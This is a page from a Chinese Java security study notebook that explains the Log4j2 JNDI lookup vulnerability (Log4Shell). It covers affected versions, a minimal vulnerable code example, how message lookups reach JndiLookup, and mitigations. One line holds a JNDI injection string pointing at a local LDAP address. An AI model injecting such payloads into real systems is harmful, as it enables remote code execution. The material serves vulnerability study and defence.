Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page
  • 0x01 What Is Log4j2
  • 0x02 Basic Usage
  • 0x03 Defend
  • 0x04 Reference

Was this helpful?

  1. 🍺Others

Log4j

0x01 What Is Log4j2

Apache log4j2是一款用于 Java 日志记录的工具。日志记录主要用来监视代码中变量的变化情况,周期性地记录到文件中供其他应用进行统计分析工作;跟踪代码运行时轨迹,作为日后审计的依据;担当集成开发环境中的调试器的作用,向文件或控制台打印代码的调试信息。其在JAVA生态环境中应用极其广泛,影响巨大。

经典漏洞,来复现一波

漏洞的触发点在于利用org.apache.logging.log4j.Logger进行log或error等记录操作时未对日志message信息进行有效检查,从而导致漏洞发生。

影响版本:2.0 <= Apache log4j2 <= 2.14.1

0x02 Basic Usage

To use Log4j 2 in your application make sure that both the API and Core jars are in the application's classpath. Add the dependencies listed below to your classpath.

log4j-api.jar

log4j-core.jar

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.0</version>
</dependency>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4Vul {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String food = "taco";
        logger.error("{} is not served", food);
        // 12:17:56.859 [main] ERROR Log4Vul - taco is not served
    }
}

{}起到占位符的作用,被替换为传入的参数

log4j提供了一些lookup功能,可以快速打印环境变量、java版本信息、日志事件、运行容器信息等内容

如logger.error("Java version :{}","${java:version}");将打印java版本

可以看到有敏感的JndiLookup ,通过jndi来获取变量值

在log4j.core.lookup可以找到这个类

public String lookup(final LogEvent event, final String key) {
    if (key == null) {
        return null;
    }
    final String jndiName = convertJndiName(key);
    try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
        return Objects.toString(jndiManager.lookup(jndiName), null);
    } // ....
}

jndiManager#lookup有熟悉的this.context.lookup(name);,context默认为InitialContext

接着看看log4j是怎么处理我们传入的message并转化为jndi的

MessagePatternConverter#format

  • 判断是否设置noLookups(后面讲防御就是把这个参数设为true)

  • 判断是否有${

  • 传入StrSubstitutor进行replace

把${xxx}中间的内容提取出来,传入resolveVariable处理,在Interpolator#lookup,把第一个:前的内容提取出来,这里就是jndi,在strLookupMap找到对应的Lookup类,即找到JndiLookup类,用这个类去lookup后面的部分

上面是使用logger.error()触发的,日志等级默认200。

一般情况下,如logger.log(Level.INFO, "${jndi:ldap://127.0.0.1:8099/666}");

会经过logIfEnabled()的判断

如果日志等级的值没有小于200(值越小等级越高),就不会进入logMessage来打印消息

所以只有OFF(0)、FATAL(100)、ERROR(200)才能利用

代码中日志等级的优先级≥默认级别才可以成功,比如Struts2的默认日志等级为Info(400),WARN(300)、ERROR、FATAL、OFF、INFO这几个级别的日志都可能被利用

0x03 Defend

  • 升级到2.17.0版本以上

  • 设置jvm参数:-Dlog4j2.formatMsgNoLookups=true

  • 设置环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true

0x04 Reference

PreviousC3P0原生反序列化的JNDI打法NextEcho Tech

Last updated 2 years ago

Was this helpful?

具体可以查看[官方文档]()

Log4j – Log4j 2 Lookups (apache.org)
Log4j漏洞详解 - FreeBuf网络安全行业门户
Apache Log4j2 远程代码执行漏洞分析-安全客 - 安全资讯平台 (anquanke.com)
Apache Log4j2 Jndi RCE 高危漏洞分析与防御 (seebug.org)
image-20230322125131273
image-20230322130144431
image-20230322132815918
image-20230322132632186